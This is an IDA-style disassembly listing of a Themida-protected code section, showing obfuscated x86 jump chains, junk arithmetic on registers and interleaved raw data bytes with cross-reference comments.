		push	2A805C57h
		jmp	loc_5876E2
; ---------------------------------------------------------------------------
		db 0B9h, 65h, 30h
		dd 0CB295D97h, 81CB0159h, 973065C3h, 1C87595Dh,	2CD35C24h
		dd 6AE99C24h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AD9B:				; CODE XREF: Themida_:00585FA9j
		sub	ecx, 49A5742Eh
		add	ecx, ebp
		add	ecx, 49A5742Eh
		jmp	loc_586F35
; ---------------------------------------------------------------------------


loc_58ADAE:				; CODE XREF: Themida_:00587873j
		xor	eax, 95F0427Ah
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5FBE5782h
		or	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 7FFF7FA1h
		jmp	loc_58D102
; ---------------------------------------------------------------------------


loc_58ADCF:				; CODE XREF: Themida_:0058E1D8j
		add	esp, 4
		add	edi, 0FFFFFFFFh
		push	ebx
		push	edx
		push	eax
		jmp	loc_589E0E
; ---------------------------------------------------------------------------
byte_58ADE3	db 66h			; DATA XREF: Themida_:00585B00o
		dd 8124048Bh, 4ECh, 243C8900h, 2434FF54h, 3929685Fh, 7BE90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58ADFF:				; CODE XREF: Themida_:00589761j
		add	ebp, 4
		jmp	loc_58E492
; ---------------------------------------------------------------------------
		dw 41BFh
		dd 810DCB3Ah, 9370BDF7h, 661EE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AE1A:				; CODE XREF: Themida_:0058CBEEj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 23707C9Ch
		sub	edx, 0ADE20018h
		sub	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 0B1501F41h
		jmp	loc_58D7A3
; ---------------------------------------------------------------------------
		db 2Dh,	62h, 39h
		dd 0C5E90439h, 28000033h, 505366D8h, 7DE933B4h,	5D000029h
		dd 4C581h, 92E90000h, 4500002Eh, 0FFF732E9h, 4C181FFh
		dd 0E9000000h, 2C4Bh
; ---------------------------------------------------------------------------


loc_58AE6C:				; CODE XREF: Themida_:005898BAj
		pop	eax
		jmp	loc_588FB8
; ---------------------------------------------------------------------------
		dw 0DBBDh
		dd 0E90EC032h, 4265h, 0E3E9C729h, 0D1FFFFAEh, 45BD55E8h
		dd 52501F65h, 0FFB5ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58AE91:				; CODE XREF: Themida_:00588751j
		mov	ecx, [esp]
		jmp	loc_58DFA6
; ---------------------------------------------------------------------------


loc_58AE99:				; CODE XREF: Themida_:0058EE9Cj
		add	ebx, edi
		jmp	loc_587825
; ---------------------------------------------------------------------------
aHG		db '[h×g',0
		align 2
		dw 3C89h
		dd 55E78924h, 0FFE7F5E9h, 8AB5FFh, 0EC8858C5h, 21B259h
		dd 0A36858E2h, 8900000Fh, 68B1240Ch, 0C002E9C0h, 0E1D008E9h
		dd 80FFE980h, 0F3E947C1h, 8B00005Bh, 0C4812404h, 4, 50E28952h
		dd 4BB8E9h, 51BB5300h, 21074D0Bh, 0EAC15BDAh, 0B8F28108h
		dd 31006004h, 24148BD6h, 42FEE9h, 24048900h, 268h, 0C5015800h
		dd 242C8758h, 227AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58AF1D:				; CODE XREF: Themida_:00586FF3j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_587AF2
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0F66240Ch, 33E9C8B6h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AF37:				; CODE XREF: Themida_:00590A25j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_586C7D
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 26908C9h, 9AAE9h, 88C78800h,	88585BF9h, 88E9284Fh, 80000061h
		dd 0D800C4C3h, 241C8B66h, 0E902C483h, 5650h
; ---------------------------------------------------------------------------


loc_58AF78:				; CODE XREF: Themida_:005918B7j
		or	ebx, ebx
		jnz	loc_587DA4
		push	6E7Ch
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_588171
; ---------------------------------------------------------------------------
		dd 9C240420h, 0FFAD2AE9h, 0C8315DFFh, 56C33159h, 0C681E689h
		dd 4, 3851E9h
		db 0
; ---------------------------------------------------------------------------


loc_58AFAD:				; CODE XREF: Themida_:0058A1ACj
		pop	edx
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	22501596h
		pop	eax
		jmp	loc_588325
; ---------------------------------------------------------------------------
		dw 15Eh
aSn		db 'Æé­*',0
		align 2
		dw 0C681h
		dd 4, 5C243487h, 9C240409h, 0FFACCEE9h,	114DB9FFh, 0C9810BAFh
		dd 53C65561h, 7D7CE981h, 0C18169ADh, 8ADE954Eh,	8959CB31h
		dd 0C5295BD8h, 0C741E958h, 0C481FFFFh, 4, 4EC81h, 2C890000h
		dd 0F21AE924h
		db 2 dup(0FFh)
word_58B02E	dw 0EC81h		; DATA XREF: Themida_:00585B2Co
		dd 4, 50243489h, 20068h, 29685800h, 89000071h, 0C789243Ch
		dd 24348157h, 53CC3905h, 5F6815Eh, 5F53CC39h, 0FFC9E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B05D:				; CODE XREF: Themida_:00587AB9j
		inc	eax
		neg	eax
		xor	eax, 0F31691C5h
		mov	ebx, eax
		pop	eax
		mov	esi, 5C0298ACh
		sub	esi, ebx
		pop	ebx
		add	esi, 11C60C62h
		shl	esi, 5
		inc	esi
		jmp	loc_58A63E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 0D989E900h, 1104FFFFh,	112CD828h, 1485E9h, 34C18000h
		dd 8059CB28h, 0C32827C3h, 6827EB80h, 4D94h, 0B5240C89h
		dd 0AEB753E4h, 36E9D7F6h, 89FFFFD7h, 1CB82404h,	2D000000h
		dd 39A35B8Ch, 576DE52Dh, 4BA0E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B0CE:				; CODE XREF: Themida_:00586E79j
		mov	eax, [esp]
		add	esp, 4
		push	6E20h
		jmp	loc_58BCF6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		push	esi
		jmp	loc_5863BB
; ---------------------------------------------------------------------------
		db 89h
		dd 55E92414h, 81000024h, 4C1h, 5A556800h, 3C890000h, 3712E924h
		dd 0E1890000h, 34FFE952h, 0C7810000h, 18F47557h, 0ADE9EF01h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B13B:				; CODE XREF: Themida_:00588E1Dj
		sub	edi, 31DF9217h
		jmp	loc_589378
; ---------------------------------------------------------------------------
word_58B146	dw 5ADh			; DATA XREF: Themida_:00585A74o
		dd 232C1BE7h, 0BE56D801h, 2094658Ch, 0B6BE5655h, 4E667506h
		dd 5595BD55h, 0ED816278h, 2B7D2408h, 3C0AED81h,	0ED812DE8h
		dd 75F06039h, 0C583D5F7h, 51D5F7FFh, 2A6942B9h,	59CD2930h
		dd 815DEE01h, 9CEC0C6h,	5EF589A9h, 0FFC58145h, 4D52CF56h
		dd 0D6F7F587h, 0C581F587h, 7AF118B6h, 0EAE8F581h, 23E99E84h
		dd 89FFFFD1h, 3CE92424h, 1000064h, 0C1835EF1h, 0AEE95104h
		dd 5C00004Ch, 8B240C87h, 34FF2424h, 24048B24h, 0FFACE3E9h
		dd 240C8BFFh, 4C481h, 0F1810000h, 16BD180Dh, 81D1F749h
		dd 0AC00A4C1h, 8BCA8915h, 0C481240Ch, 4, 0E91C5709h, 5C85h
; ---------------------------------------------------------------------------


loc_58B200:				; CODE XREF: Themida_:0058754Dj
		mov	esi, 2E4338EDh
		shl	esi, 7
		push	ebx
		mov	ebx, 1
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 5CE42BF8h
		jmp	loc_58F346
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 40h
		dd 0C12C5F74h, 0CF8102E7h, 17960B02h, 0F781E7D1h, 59B717CBh
		dd 39E0CF81h, 0C7814589h, 0F71C4D7Dh, 3C8BF801h, 1D47E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B24E:				; CODE XREF: Themida_:005915A6j
		mov	[esp], ecx
		mov	ecx, 2FBB0E3Bh
		shl	ecx, 8
		jmp	loc_58DEED
; ---------------------------------------------------------------------------


loc_58B25E:				; CODE XREF: Themida_:0058CC79j
		pop	edx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FB010000h, 8B2434FFh, 0C481243Ch, 4, 4C481h, 0EC830000h
		dd 240C8904h, 773ABF57h, 98E97A7Ch, 52000032h, 4BAh, 5AD72900h
		dd 5C243C87h, 68240C89h, 24h, 8BCE0159h, 0C483240Ch, 18FA6804h
		dd 71E90000h, 81FFFFDEh, 4C4h, 241C8700h, 0FF24248Bh, 0C8B2434h
		dd 0AC4AE924h, 48FFFFFh, 0C4835C24h, 2434FF04h,	5CECE9h
		db 0
byte_58B2E9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585B54o
aVhn		db '$Vh%',0
		dw 5400h
		dd 8124048Fh, 42404h, 0CAE90000h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B303:				; CODE XREF: Themida_:0058DB63j
		mov	[esp], esi
		jmp	loc_585EBF
; ---------------------------------------------------------------------------
aVsh2		db 'Véh2',0
		dd 4450B900h, 0F1814281h, 49183093h, 96EAC181h,	0CF216CA3h
		dd 2DEF8159h, 0E9ECBAD3h, 0FFFFD86Bh, 923BEA81h, 0B8508B45h
		dd 151C2943h, 8D262235h, 8BC2313Bh, 0D8E92404h,	54FFFFC6h
		dd 5D2434FFh, 4C481h, 0C5810000h, 4, 2579E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B361:				; CODE XREF: Themida_:00589E54j
		sub	esp, 4
		jmp	loc_58A390
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C3h
		dd 4, 5773E953h, 51BE0000h, 0C174D202h,	7E904E6h, 29FFFFBAh
		dd 0F00958C6h, 61D7E9h,	4B900h,	6C810000h, 491F0424h, 9DE96A0Ch
		dd 53000027h, 8312E9BBh, 0C3814B24h, 2D61623h, 815BDA09h
		dd 0A1093FCAh, 7F2816Bh, 562F8DBBh, 40E9E689h, 1FFFFE6h
		dd 14875BDAh, 24248B24h, 4C481h, 0EB810000h, 68A45163h
		dd 51DCEB81h, 505538A7h, 0CF2876B8h, 58C58934h,	515DEB01h
		dd 102AB3B9h, 59CB0115h, 1F94EB81h, 0C3010D29h,	0FFE1CAE9h
		db 0FFh
byte_58B401	db 68h,	1Ah, 26h	; DATA XREF: Themida_:00585A5Co
		dd 1C890000h, 334CBB24h, 0C38126D5h, 0D92ACCF0h
		db 1, 0FBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	0
		jmp	loc_590A02
; ---------------------------------------------------------------------------
		db 0F7h
		dd 241C87DBh, 8B2434FFh, 0C4812404h, 4,	2D04C483h, 5203B897h
		dd 89C28952h, 24148BD1h, 5804C483h, 6203A5F3h, 3B85038h
		dd 0E95B1F52h, 0FFFFFA1Bh, 0F3E9C201h, 100001Fh, 322DE9CFh
		db 2 dup(0)
word_58B476	dw 77FFh		; DATA XREF: Themida_:00585A2Co
		dd 59669D1Ch, 2414D366h, 0A83DE99Ch, 0BB53FFFFh, 1, 895B5A53h
		dd 12E95AD3h, 81FFFFEEh, 2ECh, 0C086E900h
		db 2 dup(0FFh)
word_58B4A2	dw 34FFh		; DATA XREF: Themida_:00585B0Co
		dd 6605E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B4AA:				; CODE XREF: Themida_:0058DCE1j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	162Bh
		mov	[esp], edi
		jmp	loc_58E26E
; ---------------------------------------------------------------------------
dword_58B4BC	dd 0FD2381B8h, 7BEE0563h, 0EC8143EFh, 4, 57242C89h, 0FFE097E9h
					; DATA XREF: Themida_:00585C38o
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B4D5:				; CODE XREF: Themida_:0058D49Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58BA20
; ---------------------------------------------------------------------------


loc_58B4EA:				; CODE XREF: Themida_:0058BF6Bj
		and	esi, ecx
		pop	ecx
		jmp	loc_5879DE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C106E3C1h, 0CB8107EBh, 54044D88h, 34B95155h, 4127B052h
		dd 0E19EE981h, 8EE9F11Ch
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B517:				; CODE XREF: Themida_:0058FE6Cj
		mov	[esp], edx
		push	10000h
		pop	edx
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, ebp
		xchg	eax, ebp
		push	eax
		push	esp
		pop	eax
		jmp	loc_586856
; ---------------------------------------------------------------------------
		db 0FFh
		dd 555A2434h, 0FFAA34E9h, 34FF5CFFh, 24048B24h,	0FFD2E0E9h
		dd 0E9FFB1FFh, 6109h, 70104E68h, 5D0DE900h, 835B0000h
		dd 50E904C4h, 45FFFFD9h, 320FF581h, 0F58139F8h,	345C2D22h
		dd 0BD5DEF89h, 77056A70h, 1BC6E9h, 5DE93100h, 2891E181h
		dd 0E9C1576Bh, 81D9F707h, 5DEBFEE9h, 0F7AAE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B59E:				; CODE XREF: Themida_:0058C44Aj
		add	ebp, 18BA2CAAh
		add	ebp, 3A6B0133h
		pop	edx
		push	136Ch
		jmp	loc_58FF76
; ---------------------------------------------------------------------------
aSts7@		db 'STé7@',0
		align 4
		dd 2404895Ch, 0FFA6FEE9h, 1DBE56FFh, 4E78BC41h,	81FFEE83h
		dd 0A32C71C6h, 1EEE8126h, 89959BF1h, 0E7C15EF7h, 3FCF8103h
		dd 81255827h, 660D61F7h, 0EF814F6Ah, 4E13523Bh,	67B0C781h
		dd 0EFC156AFh, 5E7C106h, 6A75F781h, 0F801763Eh,	0FFDB09E9h
		dd 2BEFFh, 0F2010000h, 2414335Eh, 31FCE9h, 4C28100h, 68000000h
		dd 3C72h, 0BB241C89h, 52B42575h, 0F703EBC1h, 0E38143DBh
		dd 3EA0052h, 8102EBC1h,	6A0010F3h, 0FD79E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B64A:				; CODE XREF: Themida_:0058937Aj
		pop	edi
		push	ecx
		mov	ecx, 0D3E199Eh
		sub	ecx, 93219CAEh
		sub	ebx, 15A77AA3h
		add	ebx, ecx
		add	ebx, 15A77AA3h
		pop	ecx
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58F27C
; ---------------------------------------------------------------------------


loc_58B66E:				; CODE XREF: Themida_:005914F2j
		not	edi
		add	edi, 1E224DE9h
		and	edi, 2D985985h
		shr	edi, 6
		add	edi, 0FFFFFFBEh
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_587E16
; ---------------------------------------------------------------------------
		db 80h,	0CDh, 0D1h
		dd 30B4B353h, 0F5805BDDh, 7EC380C1h, 0FFDF8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B6B9:				; CODE XREF: Themida_:005886F0j
		mov	edi, 0DA74EAFh
		add	edi, 0F258B153h
		push	5C41h
		mov	[esp], edi
		jmp	loc_58D352
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0ABh
		dd 81175B04h, 0E6E62BC7h, 5FFA2908h, 0FFD4EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B6E5:				; CODE XREF: Themida_:0058F060j
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_58FC61
; ---------------------------------------------------------------------------


loc_58B6EF:				; CODE XREF: Themida_:00587386j
		pop	ecx
		jmp	loc_58A5F9
; ---------------------------------------------------------------------------
		db 2Dh,	0CAh, 5Fh
		dd 0C201217Ah, 582434FFh, 0E9E38953h, 4CEFh
; ---------------------------------------------------------------------------


loc_58B708:				; CODE XREF: Themida_:0058BBDCj
		mov	ebp, 76622E38h
		jmp	loc_58A841
; ---------------------------------------------------------------------------
		dw 0D588h
		dd 52A1B35Ah, 0D3E910B6h, 8B00003Ah, 0C483240Ch, 18B6E904h
		dd 0F9680000h, 89000050h, 4832424h, 43E90424h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B73B:				; CODE XREF: Themida_:0059070Ej
		dec	edx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_58A439
; ---------------------------------------------------------------------------
aQsqh		db 'QéïH',0
		align 10h
		dd 0DA88C388h, 0EA80585Bh, 0C8F280FFh, 574FE9h,	17F78100h
		dd 51313610h, 0E6420B9h, 59CF0141h, 97D0F797h, 1EB2C781h
		dd 0BE686834h, 89000074h, 0E7B9240Ch, 29283508h, 0E00EE9C8h
		dd 0E95CFFFFh, 9B1h, 0E9240C89h, 0FFFFA527h
; ---------------------------------------------------------------------------


loc_58B79C:				; CODE XREF: Themida_:0058A481j
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 447A757Dh
		push	ebp
		mov	ebp, 69095273h
		jmp	loc_58D38D
; ---------------------------------------------------------------------------


loc_58B7B4:				; CODE XREF: Themida_:0059044Aj
		pop	edi
		pop	eax
		xor	esi, ecx
		mov	ecx, [esp]
		jmp	loc_5878EA
; ---------------------------------------------------------------------------
		dd 0E95AF500h, 2535h, 88B55166h, 354FE9h, 0F7895900h, 5FF8215Eh
		dd 6EE9C209h, 87000045h, 98E95FF9h, 0C1FFFFDBh,	0E0C102E0h
		dd 0C021E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B7F2:				; CODE XREF: Themida_:0058FF02j
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_58BF89
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E5h, 0E9000000h, 57D5h,	48B5450h, 6269E924h, 94E90000h
		dd 87FFFFA4h, 57E92404h, 8BFFFFD9h, 0FCE9242Ch
		db 50h,	2 dup(0)
byte_58B83F	db 0FFh			; DATA XREF: Themida_:00585A44o
		dd 48B2434h, 0E0895024h, 4BF57h, 0F8010000h, 4C0835Fh
		dd 5C240487h, 815B5453h, 4C3h, 4EB8100h, 0E9000000h, 0FFFFE05Bh
		dd 4C681h, 0C6830000h, 24348702h, 33685Ch, 14890000h, 0FB45024h
		dd 0F6B6CC80h, 0E9F480D4h, 0D4F6CCFEh, 88C5EC80h, 0E95358E6h
		dd 1EF7h, 20E99C50h, 0B9FFFFA4h, 32202F03h, 21B1E981h
		dd 0CE010029h, 0BF575859h, 4, 335FFE01h, 3BE92434h, 0BDFFFFE4h
		dd 0FFFFFFFFh, 2C8BE901h, 4C48124h, 0C1000000h,	0E1C105E9h
		dd 7E1C106h, 54DCF181h,	45E95F85h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B8E7:				; CODE XREF: Themida_:00590A0Aj
		not	dword ptr [esp]
		pop	ebx
		not	ebx
		shr	ebx, 6
		sub	ebx, 1968372Ah
		xor	ebx, 0F5B337D5h
		add	edx, ebx
		jmp	loc_58FD5F
; ---------------------------------------------------------------------------
		db 81h
		dd 2C1820C9h, 0EB96E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B90E:				; CODE XREF: Themida_:00590680j
		pop	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	7773h
		mov	[esp], ecx
		mov	ecx, 5EFA7D55h
		sub	ecx, 5EFA7D51h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	dx
		jmp	loc_5870AB
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 31D1h, 0E9C6015Bh, 0FFFFD99Dh, 81C7295Eh
		dd 4C71BFEFh, 0E9575877h, 1BCh
; ---------------------------------------------------------------------------


loc_58B95C:				; CODE XREF: Themida_:0058698Cj
		pop	ecx
		add	ebp, 4
		jmp	loc_58F289
; ---------------------------------------------------------------------------


loc_58B968:				; CODE XREF: Themida_:0058A3D5j
		mov	edi, 5CDE43B1h
		shr	edi, 6
		xor	edi, 173790Ah
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58D655
; ---------------------------------------------------------------------------
		dd 2BD55h, 0E9010000h, 240C875Dh, 48B665Ch, 11156824h
		dd 3C890000h, 81E78924h, 4C7h, 4868E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B9AE:				; CODE XREF: Themida_:0058FC69j
		mov	edi, 4A461007h
		push	ecx
		jmp	loc_589AF5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 8024248Bh, 25E928EBh, 8BFFFFD5h
		dd 5450240Ch, 4EC8358h,	51241489h, 4B9h, 8BCA8900h, 0C481240Ch
		dd 4, 0A52EB22Dh, 5D00120h, 20A52EB2h, 4C0835Ah, 9EE68h
		dd 24048900h, 42474FFh,	0FFD6BAE9h, 0B8505FFFh,	0D95BB35Dh
		dd 0E958C629h, 0FFFFDC48h
; ---------------------------------------------------------------------------


loc_58BA20:				; CODE XREF: Themida_:0058B4E5j
		shl	ecx, 3
		shr	ecx, 8
		jmp	loc_58D072
; ---------------------------------------------------------------------------
		db 66h
		dd 2211E951h, 0EB280000h, 0EAE9E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BA3A:				; CODE XREF: Themida_:0058D34Dj
		inc	eax
		jmp	loc_58EEA1
; ---------------------------------------------------------------------------
		dd 0F7240CFFh, 34FF2414h, 7DE95B24h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BA4F:				; CODE XREF: Themida_:005866D9j
		pop	ebp
		mov	esi, [esp]
		jmp	loc_58CF1A
; ---------------------------------------------------------------------------
		dd 0E902E7C1h, 0FFFFE71Fh
dword_58BA60	dd 2B60F66h, 30BC6866h,	24048966h, 0FFA252E9h, 58C129FFh
					; DATA XREF: Themida_:00585BC4o
		dd 0C181E901h, 64150DBFh, 0E9242C8Bh, 1AF0h, 8098E380h
		dd 5166EACBh, 0CB0006B1h, 0EBC05966h, 4987E906h
		db 2 dup(0)
word_58BA9A	dw 34FFh		; DATA XREF: Themida_:00585BA0o
		dd 240C8B24h, 5604C483h, 0C6815E54h, 4,	4EC81h,	0C890000h
		dd 5954E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BABA:				; CODE XREF: Themida_:0058BE99j
		add	esi, 7791773h
		shr	esi, 8
		push	ecx
		mov	ecx, 775C37ECh
		dec	ecx
		jmp	loc_58BF65
; ---------------------------------------------------------------------------
		db 53h
		dd 7FE961B7h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BAD7:				; CODE XREF: Themida_:0058D0FDj
		mov	ebp, 0
		push	ebp
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		pop	ebp
		push	3ED3h
		jmp	loc_588148
; ---------------------------------------------------------------------------
aISr0		db '‰Ùé0',0
		dd 809CB400h, 0ECC0FFC4h, 73EC8005h, 0E9BCC480h, 0FFFFC7EFh
		dd 0A4B7F381h, 0DE29D687h, 0E9F0895Bh, 0FFFFA2F2h, 42474FFh
		dd 81243C8Bh, 4C4h, 24048F00h, 8924248Bh, 90E92404h, 56FFFFA1h
		dd 0D70B3DBEh, 0CEE93Bh, 0CA010000h, 81240C8Bh,	4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_586F0B
; ---------------------------------------------------------------------------


loc_58BB72:				; CODE XREF: Themida_:0058F587j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 6B971B2Ah
		add	ebx, edi
		add	ebx, 6B971B2Ah
		jmp	loc_59193B
; ---------------------------------------------------------------------------
dword_58BB90	dd 0E92C77FFh, 0FFFFA12Bh, 0FE02E0C0h, 0D97CE9C0h, 0C481FFFFh
					; DATA XREF: Themida_:00585AD4o
		dd 4, 4334ED81h, 0E8013B9Fh, 0FFC6EEE9h, 2CD828FFh, 4EC834Eh
		dd 0B7241C89h, 0E9F82892h, 0FFFFDCF7h
; ---------------------------------------------------------------------------


loc_58BBC8:				; CODE XREF: Themida_:0058D009j
		push	6F03h
		mov	[esp], esi
		mov	esi, edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_58B708
; ---------------------------------------------------------------------------
		db 0BDh, 18h, 11h
		dd 0E8891835h, 0EEEC055Dh, 0C701E7CAh, 582434FFh, 0E904C483h
		dd 0FFFFF69Fh
; ---------------------------------------------------------------------------


loc_58BBFC:				; CODE XREF: Themida_:0058C049j
		push	ecx
		mov	ecx, 1
		push	edx
		push	ecx
		pop	edx
		mov	eax, edx
		jmp	loc_589CBF
; ---------------------------------------------------------------------------
		dd 8F5EF329h, 0A0ADE900h, 5968FFFFh, 89000007h,	34FF243Ch
		dd 24148B24h, 0FFEF08E9h, 0C8B54FFh, 4C48124h, 0E9000000h
		dd 4C83h
; ---------------------------------------------------------------------------


loc_58BC38:				; CODE XREF: Themida_:005919EDj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3EEB75FDh
		mov	edi, 3EEB75FCh
		jmp	loc_590F44
; ---------------------------------------------------------------------------
		dd 8BF38958h, 89532434h, 4C381E3h, 83000000h, 1C8704EBh
		dd 0C5C0E924h, 8152FFFFh, 126E2404h, 1C8B6442h,	4C48124h
		dd 52000000h, 42126EBAh, 0F6C38164h, 290A075Bh,	0F6EB81D3h
		dd 5A0A075Bh, 345CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BCA2:				; CODE XREF: Themida_:005871ACj
		push	ax
		pushf
		jmp	loc_58D0B6
; ---------------------------------------------------------------------------
		dw 14E9h
		db 0A0h, 2 dup(0FFh)
byte_58BCAF	db 0ACh			; DATA XREF: Themida_:00585B7Co
		dd 0FFDE8BE9h, 0AEC181FFh, 5B598A7Fh, 0FFBE74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BCC1:				; CODE XREF: Themida_:0058F1EDj
		push	ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_58F4A5
; ---------------------------------------------------------------------------


loc_58BCCD:				; CODE XREF: Themida_:0059088Cj
		shl	edi, 8
		add	edi, 88B46EA5h
		jmp	loc_58D6C7
; ---------------------------------------------------------------------------
		db 81h
		dd 14B639E9h, 1C8B51E6h, 4C48124h, 59000000h, 34FFD831h
		dd 4CF3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BCF6:				; CODE XREF: Themida_:0058B0DCj
		mov	[esp], edi
		mov	edi, 29E8444Dh
		sub	edi, 3D60702h
		add	edi, 525E365Eh
		shr	edi, 5
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_58CA7C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9F97h, 0FF9F92E9h, 65EBBEFFh, 0BD551F1Bh, 5ED5565Dh
		dd 476AC581h, 0C581262Ah, 1A187A61h, 0ADF5814Dh, 45347311h
		dd 7688F581h, 0E9898F0Eh, 0E9F1315Dh, 0FFFFB24Ch, 3EF1D1BEh
		dd 5EF229B4h, 148BD029h, 4C48324h, 1EE9D829h, 80FFFFEBh
		dd 0F780D0CFh, 5BF88843h, 4EE9C300h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BD87:				; CODE XREF: Themida_:0058D0E2j
		xor	esi, 43451393h
		jmp	loc_589FE9
; ---------------------------------------------------------------------------
		dw 252Ch
		dd 2504D000h, 8124148Bh, 4C4h, 4AD7E900h, 0C1FE0000h, 0E9FBC980h
		dd 49Ah, 0B545BD68h, 241C8B79h,	4304C483h, 5168B850h, 0C33127BDh
		dd 0FFC38358h, 14D1F381h, 0DD895E08h, 5DE8015Bh, 4BF57h
		dd 0F8010000h, 83243C8Bh, 48704C4h, 24248B24h, 483CE9h
